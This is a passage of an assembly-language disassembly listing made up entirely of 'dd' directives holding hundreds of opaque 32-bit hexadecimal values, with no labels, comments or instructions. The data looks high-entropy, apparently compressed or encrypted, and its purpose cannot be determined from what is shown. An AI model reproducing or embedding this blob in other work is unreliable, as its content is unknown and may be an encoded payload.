4B41C23Ah, 2FE1003Ch dd 86B10496h, 0B21ED977h, 0E403170h, 4C3D35F4h, 46971413h dd 5A06C03Ah, 40D9F35Eh, 49C0BDF2h, 0E9967765h, 0C840035Fh dd 0F197CD59h, 1FC9B5A8h, 6C6F0C90h, 7554A099h, 3D6428D5h dd 888529F8h, 40E73BDCh, 0A2C856C4h, 31C06266h, 0AEAA3FEAh dd 5CE02Ch, 0DDFE5708h, 59765492h, 443390A0h, 30943151h dd 0AC00E36Bh, 0C0A6019Fh, 0C4FE3260h, 93864A49h, 3BF04154h dd 0C50025F0h, 56E918D6h, 0A8C4481h, 0AF21BC1Eh, 78DA009Ch dd 0F970DB9Dh, 0F1AECA37h, 780BED8h, 0D273B3A7h, 920C2DB9h dd 28C6EFCAh, 0D16C16FDh, 9BBACEAh, 20635DBDh, 7CE7EE10h dd 604000Fh, 68780A83h, 1C07641Dh, 2F655973h, 2EFE71A3h dd 0C5F74A9h, 75117B1Dh, 7E392F00h, 6672D498h, 29646F5Dh dd 0AA50C35Eh, 1C8D205h, 0B200B19Dh, 0AE70F029h, 18612E7h dd 6BD5FFCBh, 4C586E8Ch, 0BB00BAC8h, 0D131769h, 1395CE27h dd 41CC3ACAh, 60E3A548h, 0DA699F55h, 13FD8580h, 0D04037h dd 2CB1FE49h, 0A95B0CC7h, 85F17A0Eh, 8807A978h, 3A0A0C20h dd 55809CB8h, 0A140F6A2h, 6E4600D6h, 1AA59804h, 8061EFBDh dd 0B4D483E9h, 0E4BC318Dh, 2020F1A9h, 2886E24h, 1F833A0Ah dd 0BE0F703h, 23D72CD8h, 3808B0C3h, 0C520AE5h, 0BBC15B5Dh dd 500D3F4h, 699B0DF2h, 99DDAB0h, 2F3160A1h, 0B15E84A1h dd 4C409A7Fh, 2EAC8279h, 0F8702268h, 0B7004464h, 0B0D63338h dd 1D3EED13h, 40090F10h, 0A49E0E93h, 0B8302F60h, 0B1563879h dd 0E7BC188Ah, 0D784410Ch, 96E9C062h, 4F802C6Fh, 4E826A00h dd 362F1DAFh, 4D153E08h, 0E3BC9202h, 830456A1h, 20103E84h dd 90E60350h, 0F0EF94A3h, 1871078Dh, 28ACAFFAh, 0C00CEA49h dd 1004D583h, 0E1BD1850h, 8D70E975h, 0F6710E09h, 3A30A54Ch dd 8B49C421h, 377AAE8h, 0BDCBB125h, 0C914A8E7h, 80A0D5h dd 0C3A2B06Bh, 0C2AFDE83h, 4A4BA539h, 81D42049h, 56799C5Eh dd 0B1807595h, 1E64993Ah, 2E003DE0h, 975D44B4h, 7AED87DCh dd 5B8C0607h, 31719666h, 7A636A01h, 4EA03ACCh, 280C2F8h dd 7952C4B7h, 28C008B5h, 62420D88h, 0D1557305h, 681480BBh dd 6018804Bh, 0C751673Bh, 0E22800F5h, 9F89D63Dh, 0CC54F871h dd 0CCA6B180h, 422FB600h, 632D958Eh, 0A15B0107h, 69B068EDh dd 241DC1B2h, 76026120h, 5CC2092Bh, 54800964h, 0D6EEC751h dd 17DBDE00h, 8152DDF8h, 0C1EF1272h, 5B3005FFh, 5A54885Eh dd 0E7333Fh, 0E41FAA08h, 60B40EA8h, 7A74612Eh, 8312BC7Eh dd 9423BADAh, 0A08CDCEEh, 0C39688AEh, 4B387267h, 72B221CCh dd 0BE6D002Ah, 39F2883Bh dd 19E04F3Fh, 2B329A01h, 65A9D584h, 88F05988h, 81605D8Ch dd 0A141077Bh, 0E01E2102h, 0A73B6AEBh, 8B69E00h, 1F06016Eh dd 349869h, 0FDB5E0Dh, 0A5D57EC3h, 0A8E2FF00h, 71689F75h dd 0E30A0072h, 5EB44369h, 970CDA96h, 69575DBFh, 0C54748A6h dd 5E37D700h, 85EADCC7h, 0B214F70Fh, 68030059h, 0A1236E2h dd 0D9AF4C2Eh, 1172018Ch, 336D75DAh, 8E9D003Ch, 91E25339h dd 8B03827h, 0ABC62301h, 875C5E57h, 0CDE9C271h, 0A66E7930h dd 0CE0916C3h, 34B800E7h, 0D69E1DCFh, 79D24A1Fh, 0D735E3C0h dd 0C20B1Bh, 0F833A549h, 0C55BAD39h, 0D80E0900h, 0F7E267CEh dd 200F0092h, 5F5E6A8Fh, 18009E4Bh, 0D2438B06h, 3CF6275h dd 0CC572982h, 98FB38A6h, 85272E2h, 4469BF00h, 6C65752h dd 0BC281D5Eh, 2CB20E50h, 0A5057F91h, 6A99C92h, 0BDDBF430h dd 0E0660767h, 576038B1h, 2077827Eh, 0E5F7B8C0h, 2260575Dh dd 3DB30762h, 508196DFh, 125389F9h, 15464500h, 23DDD537h dd 21E71739h, 0D1E44075h, 8401A48Fh, 2B70DF01h, 34E70F43h dd 4115BC60h, 69A03075h, 22A861D4h, 0F87972h, 7B3A872Bh dd 0E455B3C1h, 0E2F74D00h, 0B4C031E7h, 0DB126D2h, 30531360h dd 1AF55CB8h, 3AC34902h, 406813D6h, 604AF434h, 0A99BF987h dd 0BD01D492h, 0E54132F9h, 0F1F07994h, 0CB981Bh, 3415814Dh dd 4B82EB1Ch, 0FB00B0B1h, 0C11A9899h, 17AC2C92h, 449022C6h dd 2C07625Fh, 0E424417Ch, 0BFFA6BA0h, 22E50180h, 2DF9EEC6h dd 737CF151h, 4B990E8Ch, 9A04005h, 55436B9h, 0A4AD6547h dd 80D3F1E3h, 3C5A3829h, 1CE94890h, 80C87177h, 117FCCE1h dd 0AD0CF99Dh, 895A5E32h, 3B6B3DB9h, 43808EB9h, 0EB012D9Ch dd 7148D257h, 5FE2851Ch, 80D8DC88h, 8898D9D0h, 0BBE08318h dd 0C56A9679h, 809ECB31h, 7E2118EEh, 7559B43Eh, 7D4B0E15h dd 35070790h, 0BD601EF5h, 58D5DBE3h, 3C804039h, 3A3FAB25h dd 0A7CFA81Eh, 0D63600F8h, 47F9716Eh, 0FD83AEh, 0E9460F3Ch dd 5A005FADh, 2BA17FF9h, 4886C630h, 0D52518EDh, 2233BC00h dd 254AD684h, 28A50800h, 0C0B3B5FAh, 0ED0D9D20h, 824CDB64h dd 0CA3900FCh, 37604E3Bh, 4AD9C676h, 5F00C184h, 28ED34A4h dd 0ABBEF3h, 379F472Ah, 60FCC6E0h, 0CE6EE6F0h, 693CC658h dd 0DAC10541h, 0AB679ED1h, 0D9E74AC3h, 8021ABF4h, 0C61A60F6h dd 232E00ACh, 9C2AB8E3h, 32F2B1D5h, 0A613A1E8h, 0EC205CBAh dd 4A37023h, 79DB4001h, 728A2A4h, 2BBD5EA2h, 3786CFA0h dd 0D5C10421h, 0B27B22B8h, 18531Ch, 281A50E2h, 3B2CA5CAh dd 0F181A9D0h, 3BD348C2h, 9F1C3Fh, 2C0EDDCDh, 0C36B99A6h dd 0D86AACA4h, 7660CC51h, 37A23D7h, 71C27BEh, 9FCB31FFh dd 167C2AB8h, 8624B2Ch, 52405C44h, 20CEB4BDh, 0D9D65A00h dd 0FE2BD075h, 45D494D5h, 95C4204Bh, 91009AD1h, 1615CBA0h dd 0C0F363h, 0F05F0336h, 0FC851E1h, 0CFDB83Dh, 3979282Fh dd 433E4BF5h, 9896347Ch, 0D26636D9h, 10672C61h, 1C5EB11h dd 45D5EAE3h, 0BC8FF616h, 643C5818h, 3B408188h, 0FE3A0F55h dd 1931F0Fh, 2A9C0EA7h, 9409C5Dh, 20FC7Dh, 1219B0D7h, 0F9EF0E97h dd 0F4726F24h, 6918F02Ch, 0DEFC7079h, 0C04D1459h, 0BF38D50Ch dd 0D100F2B1h, 2C73F53Eh, 1AC65Ch, 9D23B262h, 60CADDDAh dd 1D01E37Ch, 0A9AAF241h, 0AC39EBBCh, 0EA52804h, 88ACD56Dh dd 5E305D9Ch, 6CB17179h, 1DFCBAh, 9434E307h, 0B2AF0C50h dd 98A63602h, 44EFBC6Dh, 84B0E4h, 9C5B352Eh, 0B0D5C30Dh dd 4520BC13h, 0D654B000h, 6025A9B1h, 1ED086Eh, 634CA035h dd 5B3226Ch, 2AD75FB7h, 27D43E46h, 1650A03Ah, 20839Bh dd 0A08990B9h, 9A807B30h, 0C6AE5F00h, 44EB07A2h, 88D8A1ABh dd 3C5E0C10h, 0BF7EE200h, 46ED9918h, 881000F0h, 39CC11A3h dd 7015F8C1h, 38C52F7h, 0F5C306A1h, 33904B3Ch, 1105EAC0h dd 537823AEh, 0A271E8C0h, 0B050FB66h, 9DC3562h, 7580ECBFh dd 3660FCC0h, 4A217A65h, 0F1764C00h, 0B947A0h, 0CEF237F4h dd 0A389A84Fh, 71F0C203h, 0B050A21Eh, 0F00EB0D4h, 0F143F33h dd 41C214Fh, 0EC27E1F2h, 31FE05A0h, 1A167F7Dh, 0AC0066B7h dd 9EB0EB2h, 50D34DA2h, 516A3111h, 0B178023Ch, 1089D861h dd 0EE858188h, 837DD1h, 303524AFh, 0CDED738Eh, 5529E0E7h dd 0FCB6C09h, 0DAB0A0A6h, 78FA80D7h, 56FADEh, 811D6E23h dd 9233C20Ch, 86D97800h, 73C33505h, 0E2BA3DC1h, 0BE32750Eh dd 0C0079065h, 630AD64Ch, 6F7AB309h, 171498BAh, 0C3E65Ah dd 8BB20197h, 0FDC5B07Ch, 8F4BE516h, 0EABCE402h, 0A1D4207Ah dd 0CF4CB90Bh, 0A92450A8h, 34262E24h, 22506940h, 4ADCF886h dd 0C10C44B2h, 400584D4h, 865B56F0h, 0AF076F8Ah, 0AE9C2C52h dd 1A2E2DE0h, 0B83D2691h, 0D31C00D1h, 0E3288618h, 80E92039h dd 82F4214Ah, 2D3C3277h, 9C549016h, 0B8C57200h, 0CD4276h dd 0FAE1D73Ah, 3CFD4345h, 28C2E400h, 0AECE2C6Ah, 40060779h dd 0C0C4F30Fh, 0BB234781h, 0F6C640C0h, 9F116F7h, 4DD479B4h dd 0CA18DE50h, 0BA0882A3h, 9C470929h, 2580BC35h, 0D548DC6Dh dd 0C752A90Fh, 25D3E064h, 6FA9D4Ch, 5AFF3E5Fh, 720038CFh dd 26153AC0h, 0C7E0919h, 3BD9E989h, 0D17DBA61h, 1EBF8D3Ch dd 3C6859D4h, 17E7C44h, 0F1F7E16Ah, 0CCFA305Bh, 0FDFA2CB7h dd 3861CD6Ch, 861A89BDh, 7746DA88h, 832C0041h, 26944AACh dd 9600BF92h, 0D2A24989h, 1DEFF46h, 0CF0A25E3h, 0DCEEF9F3h dd 0FD01EF72h, 48BA3010h, 3EEC8FC9h, 23761DDFh, 0A196004Ch dd 0C4A7F441h, 0F3DED700h, 5133EEC9h, 61AA72A4h, 0A7ED797Eh dd 10B6860Fh, 3C487F70h, 0D7302307h, 887B32B9h, 0F1D4F301h dd 0C451064h, 7582DFCh, 0FF206D4Eh, 0C9962091h, 2B0C36EAh dd 10278BECh, 0B63B00D0h, 0AB8ECEE9h, 0B22009FBh, 2C0C0EC6h dd 0B14FEA8Bh, 7ADF1E20h, 1200C31Fh, 98472BDAh, 0F80750D3h dd 0CF8924F3h, 92C18F20h, 1DDB40Ah, 0B3546394h, 4858ECD1h dd 0C514D812h, 0D34C1806h, 45D91831h, 26D2E974h, 2A212B00h dd 711C6BD6h, 3DDA18A7h, 0D45B2185h, 0B1BF1C6h, 5CF30E04h dd 0F0805750h, 15F87C09h, 18915BFCh, 85A74802h, 77DBC0DAh dd 33AF0CD1h, 4350D206h, 84E98612h, 3A5C5Eh, 14CD5064h dd 0F2B40267h, 0CC0830F6h, 70842548h, 0DBB83E03h, 1C8F7C9h dd 9481D461h, 90B301D3h, 31801B30h, 8A6F5576h, 7E5C730Fh dd 0D4AEC0E1h, 0A0CF3ED9h, 0F1BD4578h, 21984090h, 85560773h dd 92697C5Bh, 1D00E3FAh, 0AE1CBC86h, 2A3EDAB0h, 448CC753h dd 0FF0B71CBh, 86F067FCh, 6986B7h, 0EACB23DCh, 319DD306h dd 0DAEED800h, 987EB685h, 586678ABh, 0AF3E0A01h, 1D96CC54h dd 0C02B86B0h, 2C9AB9C7h, 193C734Dh, 185707C0h, 8288741Ch dd 0BC248FFBh, 0E5A084h, 92AB8017h, 0C75602B0h, 0BF8F4696h dd 8444C844h, 19BC00F5h, 0C19A7C3Ch, 0A7E46911h, 8C85ED03h dd 0D0F16E9Bh, 0CF2B64Bh, 714E4FD4h, 0C800B038h, 0ECDEF746h dd 7E74728h, 3DEEE1FDh, 7E4BF236h, 0AED20C81h, 45D180D1h dd 6CB00D7Fh, 0D35B2A3Dh, 15940198h, 6ABD4C66h, 0A39BE0CFh dd 63C7D802h, 902A0B2Ch, 78DC6C0h, 4BE97646h, 67C14C7Fh dd 0BD851812h, 4C172032h, 0C9430A28h, 0DEA13E3h, 0E8196DB4h dd 59C6DCFEh, 0A1DDAEh, 0FA9F34FCh, 0ED1E2C7Bh, 1B9AB00h dd 0C24D21B1h dd 2594002Ah, 45CC3C71h, 8CF7E98Eh, 41DEAE88h, 0B5392E75h dd 2C7A012Ah, 0D0A84255h, 0C958319Bh, 0A11700C5h, 0B6C64877h dd 0A4493781h, 5E3E80A9h, 0EF1253CAh, 0C0402096h, 0C41BFB17h dd 61CC607Fh, 7DC2ACCBh, 8A0840E9h, 220CDD75h, 0D1D55B15h dd 61A0003Fh, 64719707h, 19F0E3D3h, 0D92DC601h, 0E55381EFh dd 0A42A4185h, 6CA4407Fh, 0D5D1BE70h, 43E94F03h, 0F835A337h dd 0A44AD49Ah, 0C81B07A8h, 404D3317h, 0F3153722h, 643E8700h dd 91545914h, 0BDC605CCh, 0C5AF6719h, 2B180359h, 4C98E772h dd 894C12AAh, 242804F8h, 2CC8A3CCh, 184E4BDh, 0EA318CF7h dd 87CD7CDCh, 3A0D8976h, 0EC57B370h, 0F45D243Dh, 0C3C008E0h dd 0F9DA5B0Ch, 0B6E60041h, 0EE5776A8h, 641E1917h, 9BC09FA9h dd 0AA751055h, 0AE9713B0h, 477C21E8h, 466A1073h, 70BC2849h dd 0C6DA7481h, 2179A418h, 453D7C01h, 326C9D16h, 9AC214F0h dd 397E5C20h, 30C67100h, 2C98E175h, 0ABFB1104h, 5488814Ch dd 0CFB301F5h, 26E9A641h, 0C008A044h, 7BE7D44h, 0F9A51DCh dd 0D07A4099h, 0D8B1D108h, 628B1D80h, 0FE5BEB52h, 233200A2h dd 0E0F42871h, 30B80154h, 0F32C9EE8h, 4B420488h, 0F94084A6h dd 0FB16D080h, 48C9E8D1h, 0D482ACF4h, 0F0A0BC4Ch, 3648DAB6h dd 0E74EBDA0h, 0BED2DE0Fh, 8921D8B4h, 69F8FB63h, 0BA060086h dd 20272CECh, 47265744h, 3D433090h, 0E751985Fh, 54211D96h dd 112424F7h, 0F31A00C3h, 0EC3980B5h, 2486B0D9h, 20B3D532h dd 8FF20110h, 26AA6B16h, 0E2C3E777h, 4B25B102h, 44AF1488h dd 0B0530BBCh, 8780A4A1h, 0B9A5D5CBh, 0D9883300h, 0DFF68289h dd 26AC07ABh, 0C0FA0E1Dh, 4DCD9553h, 1C159E2Eh, 7590BA01h dd 0C84C0C10h, 0AD660004h, 0D6428DA6h, 0DD016FBFh, 0B1F51CB8h dd 443043CFh, 0B0987Ah, 0C31B2388h, 0CDB2562Bh, 2970C148h dd 4E90B0FCh, 3BC0F2C2h, 0D09234C0h, 0EC079383h, 25C608C2h dd 959CC8B3h, 9705B8FEh, 0C8A963B7h, 3F613EC0h, 592609D5h dd 0FC02F7C0h, 0B0E8AD4Eh, 0D96701C9h, 905EAE79h, 652E7500h dd 98180B4Fh, 5209840Bh, 568F0FB8h, 0D4F56421h, 80AF6A01h dd 465AC599h, 319EA8D1h, 626855F7h, 0E4A30275h, 87490EC8h dd 1269CE4h, 6D20D8ADh, 2BBD00DBh, 2D94F30Eh, 0E6007AB3h dd 46D81B25h, 2C42891h, 0D3579945h, 7C60CA26h, 0A8984E24h dd 3F42F8B0h, 2C9B3061h, 201441DEh, 1700634Ch, 0DC01516Ah dd 0C0AB4EC2h, 0C9770C41h, 0CF4C8450h, 88CE53DEh, 0C27C701Eh dd 0CAAF2B8Bh, 0F89576C1h, 71E6CE19h, 18EEFA17h, 0CA2AA860h dd 51C761FEh, 300B9350h, 2488CBA4h, 2635001Ch, 0B65B3C31h dd 94B91B8Eh, 69555880h, 3B7A1D73h, 8D9C51E4h, 0F2E18097h dd 0C5433020h, 8CD31C00h, 0C7656F50h, 54C058D2h, 22DDFD84h dd 12B522DEh, 67E0D540h, 4BDFFD01h, 0E8615F19h, 389C71E4h dd 1596E118h, 62843083h, 452CE350h, 0BD405C76h, 5C701Ch dd 0F2DEB846h, 5F3AD88Ah, 90C16000h, 711DA368h, 0B1850191h dd 998BF2BFh, 4B69FC3Bh, 0F67B42F2h, 3930155Ch, 7C6C4824h dd 0DAF7CA00h, 0AF71BAC9h, 29B1C0D2h, 0A4812FEBh, 1AF85A0Dh dd 98822088h, 0B42360BCh, 7E75FC44h, 6DBD6C00h, 40564779h dd 0C4E93D9Bh, 60516780h, 0D2BFA680h, 92C4AF48h, 804BA409h dd 76DE8F34h, 410909Ch, 86D93C7Eh, 0E9AC83E5h, 41258979h dd 0F1642E8Ah, 0E3F94803h, 0B490225Ah, 3D005481h, 753189F6h dd 0BEFCED0h, 84C98EE0h, 0B5CB6490h, 0DD01FD3Eh, 752A0078h dd 0DA37737Eh, 0CC472281h, 0E01CBF2Ch, 75C1CD10h, 77CF55DFh dd 0FD1A07C8h, 40A01D95h, 0CF62C1Eh, 0DC4CD54Ah, 44B1A321h dd 541A5700h, 235191Eh, 0D54CF621h, 58C51650h, 0EEF87100h dd 75642Ch, 0B0F3B3CEh, 10251363h, 0E45690A1h, 9B3C3334h dd 8A628C0h, 14802098h, 809646DAh, 0D14478A8h, 0A13D74D9h dd 242C500Ch, 28B133F1h, 0AE430380h, 2C189E9h, 256DE339h dd 0B864A32Bh, 17E3Eh, 0F38B4427h, 0AA15F58h, 0D05A15B0h dd 980BAD4h, 0F02DA3E8h, 78907742h, 0BA61A260h, 0E7F780h dd 0DE7E2AB1h, 9A83D83Fh, 277B3Ch, 49574631h, 1D1257Ah dd 1F212C1Dh, 0ACD34BD5h, 12604491h, 2F3D04h, 0C9FEDD05h dd 5A3B6602h, 809C4900h, 90AF6DB9h, 0BB1D0021h, 0C9FD0E1Bh dd 4903BEEh, 0E001A9D6h, 2C3123B0h, 1EBD7834h, 4BF2E94h dd 884D8166h, 0D48C310h, 1471012Ch, 0AA4BF845h, 39E1FD4h dd 2ABFFBEDh, 501E48BCh, 2CCAFD21h, 4824A444h, 89CBF708h dd 0F4104BD4h, 1F002D20h, 39FB1BFEh, 2981C6EFh, 8D0E64Eh dd 5B8C873Ah, 3EF741D6h, 0C687F4A2h, 0C3C1CE44h, 36F05E0Fh dd 2B3AFA80h, 97A8124Fh, 0A4B3BC09h, 0B6671990h, 0AD0081C8h dd 0ABD00D2Eh, 685B9FCh, 99EEF131h, 154639C0h, 233BD917h dd 0FFC067C0h, 4848CBDEh, 1C304A8Ch, 6BED0A4h, 0D3063B71h dd 0C3052850h, 333CAC4Eh, 8C48BC20h, 70F95CBFh, 0BDD21603h dd 9900CEB3h, 5E6AE53Fh, 6530F1h, 947AD320h, 21E1A8B5h dd 0D6330F0Fh, 4C46C2DDh, 1E0E424h, 1DF7A22h, 70B91D36h dd 0AE072514h, 70BC2D30h, 0F0C34E65h, 0CE90064Ch, 71CC51D4h dd 879CA348h, 77608503h, 0F20AFF9h, 14977A40h, 0AA3F5B62h dd 92BBD440h, 0B91226F8h, 0A020C2CCh, 0A5DD4C81h, 942204B0h dd 0ACBEC0B2h, 0F7000CEAh, 9E3D8CC7h, 0BA1844DAh, 0CD90CBDCh dd 753AA402h, 95848121h, 0FE424821h, 0DABCC0A1h, 0AE802C70h dd 4A3A40F8h, 730A3C3Fh, 0ACC6FBCAh, 0B44B01BFh, 354DD4F2h dd 2AF8993h, 0DA0C7D14h, 0C3856C60h, 0FB087E51h, 2BBEA2C7h dd 701CA8E6h, 0A88098CCh, 69D99B41h, 201A4AC9h, 6EC41F70h dd 0BB5B8600h, 74FB335Ah, 7BF3001Bh, 0F244E6E2h, 160240BAh dd 0BF4C18D3h, 20508196h, 0FC6242DAh, 2C25D207h, 0AD45401Ch dd 1B0131A9h, 2695F91Eh, 0A83251B4h, 4E00E48Fh, 144D8BB2h dd 38D21B2Eh, 398C2Ch, 9DFD20ECh, 1D3B02Ch, 71721E2Bh dd 3821C3EEh, 0C6C88078h, 27BD0304h, 4934C9Bh, 0F7D3F4D8h dd 214894Ch, 71D437DAh, 0AE50C0E1h, 30872ABh, 8E46B5E6h dd 0FE00286Eh, 0EC214A44h, 54AECA7Bh, 68CCD7h, 4CF4945Dh dd 0FF74DF10h, 8156C101h, 2327731Bh, 759BF460h, 3DE40088h dd 0CF708E47h, 0B0A6CB7Dh, 7131170Fh, 3B801D0Eh, 6353E955h dd 46010CC8h, 99F828D5h, 0C22B7D00h, 0AFF32109h, 0B82E48E9h dd 96E42471h, 1D1A12CAh, 4F3B8024h, 7462BFDh, 0B4FF8B05h dd 80C02579h, 30DBF558h, 0C77980A3h, 833FD3B7h, 135CE9h dd 2503A14Ch, 0C2CA8C3h, 0EC332F3Eh, 0D978C640h, 0EDC845Dh dd 0A78DFF6Bh, 0A18CEF4h, 8088D4AEh, 85166F7Fh, 95053077h dd 45F48A9Fh, 6C929881h, 0E2F31407h, 8B6D80F0h, 731671h dd 0B39C0270h, 4E87E61Eh, 0D56E9D01h, 975B9E32h, 0CC4871B9h dd 0E6CF2E4h, 80257C31h, 0F508F411h, 10C239D3h, 44BB4E00h dd 0A6541E37h, 210CCF4Ch, 37A11C8h, 796920D1h, 6FE48029h dd 0D97B2D81h, 0BC439490h, 0DD6A3500h, 0F5ADF8A5h, 0BCC49122h dd 3BC50C2h, 2C8D0B24h, 157D7C00h, 38F3E097h, 64073A8Eh dd 848CC206h, 66ACC086h, 0D090CC91h, 3C95C600h, 0B6EA1A5Dh dd 20BA137Ch, 43C82778h, 5B9128B0h, 12742869h, 64D050D4h dd 7C63DAB3h, 92149CCCh, 93FC0525h, 0E4782DCDh, 850343BFh dd 81AD62AEh, 45E6E8D2h dd 33272C40h, 763B4060h, 0CE02FCE9h, 0C6F3CD78h, 134D096h dd 0C2D0D9A4h, 2C4AD4CBh, 18409EA8h, 85DA2E86h, 45B20717h dd 0F0219647h, 4DB1D1D5h, 0A809BEF0h, 3313859Ah, 741CD8B0h dd 0A0E4306Bh, 0C3438E6Ch, 4BD6F500h, 0F35337Ch, 976907F4h dd 0F04E844Ch, 0AEF32709h, 0AACBC63Eh, 0EE44A476h, 0C3771A8h dd 0C453D4BFh, 0B81AA1h, 2B11C200h, 0FD1C2A17h, 0DEF4024Ah dd 42D9CD6Ch, 804EACD9h, 5C3029E9h, 49920321h, 6FC3624h dd 0B84C43EAh, 6CD5AE24h, 0AA3BB780h, 7A399Eh, 0FE621728h dd 0DC3882F5h, 0C9CB68C1h, 44282AF6h, 0CC20AE25h, 0D168FB66h dd 7FA0CE1Fh, 81930681h, 2185F147h, 88943D9h, 0E881D850h dd 0ECA9638Ch, 71B3FD0h, 2166906Dh, 24E19F28h, 20F3D10Bh dd 0CA2050C8h, 74B75C6Bh, 0D69F7C58h, 0EE12B8h, 0A2BBCDA8h dd 8BE4693Bh, 4B0775EAh, 4C50B1C2h, 0F3D184Ch, 0BDCDB353h dd 0C8FCCAC4h, 1D79BEFCh, 588114E9h, 0CE7005F8h, 50AC78CCh dd 7A550887h, 0C024BEC5h, 0EAAF932Bh, 0A100877Ah, 0FCE0D3D6h dd 73D2221Bh, 8E7000F6h, 0C3BB6C1Ch, 5B007B8Ch, 94AC4ACCh dd 261492EDh, 40485181h, 0C82C212Ah, 31C9D60Eh, 0C488D290h dd 0F6EC01A3h, 161F636Ch, 578EC0Dh, 9B353B13h, 0A8E544C3h dd 9C4B8115h, 21B39250h, 833A2720h, 0D459C8ACh, 8D7AA024h dd 0EC3B4CDAh, 40D15B85h, 4BA77688h, 0B37A58C9h, 3DFE6C05h dd 0F4801C29h, 7276A71h, 17DBA64Ch, 0C09B6222h, 280970E0h dd 9A80A77Eh, 37CF14D3h, 0B70BBCEFh, 640163F8h, 295B1AC5h dd 8D3A09C4h, 438C8075h, 1F2F2DE8h, 0E22B0C96h, 0E0056898h dd 0E3F61DA7h, 80B64882h, 16671308h, 52E4B61Eh, 0C94A1C40h dd 0A27B4484h, 11FDBD07h, 73A077F7h, 42B714Dh, 4AD54C45h dd 0F32040C0h, 1574B196h, 0A4DCAED3h, 51DA4907h, 0EB9070ABh dd 18001209h, 2A43F405h, 758D801Ah, 8C24BE0Bh, 4D9990C6h dd 454BE80h, 0C4EB5F70h, 0AA808CC2h, 8AD35000h, 0EFD788FAh dd 9637001Bh, 84F3768Ch, 0E40B4B3Eh, 1332F781h, 0E8394C6Ch dd 9F4715C0h, 2E00B9ACh, 2CDF66B6h, 213174h, 83165844h dd 0DD96812Bh, 0CB5A7B01h, 0BC799B8Bh, 2F7DA40h, 73063D0Fh dd 383E2381h, 31EF51CAh, 0A6BAFC7Ah, 4E25E93Eh, 333C4C00h dd 7EE1D8Ch, 0D9B346DDh, 1BF53134h, 0C7B8296Eh, 0C9C5FE77h dd 393C87C1h, 89E9E849h, 0BB035439h, 0F7522469h, 20B4702Dh dd 0F113DFE8h, 986300EFh, 0FB0B5908h, 0BE44D0A5h, 0A8326B3Dh dd 0EF50DC00h, 2B00D2DEh, 0B9ED814Ch, 0B6979DAh, 4BAAB427h dd 0D2FEE022h, 0B512D311h, 4CC94A60h, 27FAC712h, 58206013h dd 52AC39Bh, 9A50D81Bh, 183C88A4h, 7D8E4107h, 0B8500DFAh dd 964ED4D3h, 6054AC0Ch, 0BF63DE88h, 0BCB2BE00h, 46F1449Dh dd 0D5C20032h, 0DF220B1Dh, 9A02BD81h, 6A43238Ch, 2FCC5821h dd 0B87E4B96h, 0E8A4750Bh, 0F6EEACh, 0C8EA73F3h, 0A4BB96Dh dd 3B71721Dh, 0CEDFFF40h, 913DDA5Fh, 5CC02074h, 8B00BC44h dd 1AD37E1Bh, 0FB05B054h, 96E756ADh, 81D4D420h, 9F2802B1h dd 0C6F9CA2Ch, 761EBE20h, 0D320000Dh, 269D9BF8h, 0CB006AE4h dd 37A1565h, 947C3CDAh, 0FFAC6E94h, 26247211h, 0D00881Eh dd 808E2728h, 0DE18000Eh, 0CA7DFBE1h, 1618A2EEh, 0A731CE5Bh dd 1D980297h, 5103B26Dh, 81B7CC40h, 14224C4Fh, 17D31043h dd 0C79D5409h, 0CB00C882h, 948ECA4h, 0D9F9BF8Dh, 9950DC60h dd 0FA302104h, 0B4A01C3Bh, 51A8BC10h, 0C5E70D8Bh, 5B2594A4h dd 49A040B4h, 0FB053239h, 4A185600h, 77D5250h, 31002B3h dd 0C4D31C2Bh, 4496844Ch, 0D0CDD093h, 0B408A031h, 0CC30BC1h dd 0B888A6FBh, 0CF868048h, 0EF3A710Bh, 54CBBE16h, 85253CC0h dd 50C401E3h, 84D80B1Ch, 26D1E47Bh, 4DA1B418h, 0C083A440h dd 80104B49h, 871EBF75h, 0C140196Dh, 38EAC478h, 655316F9h dd 7C14C98Dh, 929A0E8h, 871800B4h, 6AC3467Ah, 0D8002220h dd 338E3E7Ch, 4C214C0Fh, 0AF02743Ch, 25D732FCh, 0CCABE061h dd 68B8837Bh, 1098144Bh, 0BC988C40h, 98737C80h, 6871565Ah dd 4C62F3C9h, 0C1228858h, 39DFFDF8h, 0E750982Dh, 0AE0F0h dd 0D0B573F9h, 904AD38h, 1D8ABE02h, 53803EDAh, 0A07980C0h dd 5A455EABh, 0F2B31D0Bh, 13186455h, 0CAD25381h, 0BF6B0134h dd 0FA375056h, 3C4428A4h, 84819102h, 0B8541CA1h, 0E390F362h dd 9B7DE81Ch, 0A4132E83h, 202940D8h, 720031F7h, 2F6177D8h dd 48F96A47h, 730E4869h, 1C4BF019h, 6190C484h, 4817D1EAh dd 1D531680h, 2482A7D6h, 11D49DADh, 16B0E93h, 0ABF8AEA5h dd 4CCCCh, 0CD1C3189h, 0A8545C94h, 0A7B4F000h, 7AE0B2DDh dd 0CBB90937h, 0E0E44EB8h, 26901A4Ch, 33C5CBCh, 7A0F462Ch dd 2530CFBEh, 97F9E4Ch, 5A34E1EDh, 1607D05Ah, 0A33A073Ch dd 0E4FD8BA0h, 2C1972D5h, 40D8B462h, 0AA89A18Eh, 0FC616B00h dd 2BB1B73Ch, 27AC7C5Bh, 4902C1Eh, 7000A7D4h, 30371AE7h dd 4882500Bh, 0DC4C404Bh, 0F7EE013h, 1E67DF03h, 0D19652CCh dd 83C9963h, 4A98BCB2h, 3C715CCCh, 0AD808DAEh, 0DD0F9A37h dd 20F8F1Ch, 60A6474Fh, 1BEC6D0Ah, 0B82F545Bh, 0CD4C32D4h dd 2483A3B9h, 80879055h, 0BB59B54Ah, 2E1AF200h, 751464Eh dd 628CB1DFh, 5C609248h, 0BC88EF01h, 98497E3Ch, 269502B6h dd 0E7374092h, 34543442h, 5A54D542h, 70AF4D60h, 78280B26h dd 28907E41h, 7F0B6C98h, 495A6698h, 0E5608CDCh, 816C0746h dd 374AB5h, 4416B2A8h, 470127FAh, 2ED13DAEh, 7C6014E9h dd 0C9C2444Bh, 8968F54Ch, 981078BDh, 0F3A01338h, 4DD0208Ah dd 4C2D7680h, 557002F7h, 283865D2h, 0E1130058h, 320A596Eh dd 0C40C810Fh, 0B2B1C91Eh, 56542EB5h, 50452550h, 0C2A47E90h dd 385C4F70h, 3CB14E60h, 41BCA638h, 45EEC491h, 66E99625h dd 0AF6E07E4h, 80719097h, 4E811BC7h, 2A89C0BCh, 0CB6C841Ch dd 40E52B49h, 6A69C818h, 46674FF1h, 6178A37Ch, 75DFC706h dd 13D8E845h, 44CD5B48h, 4AD74C38h, 5440B4B3h, 39EEA3F3h dd 4B830B6Fh, 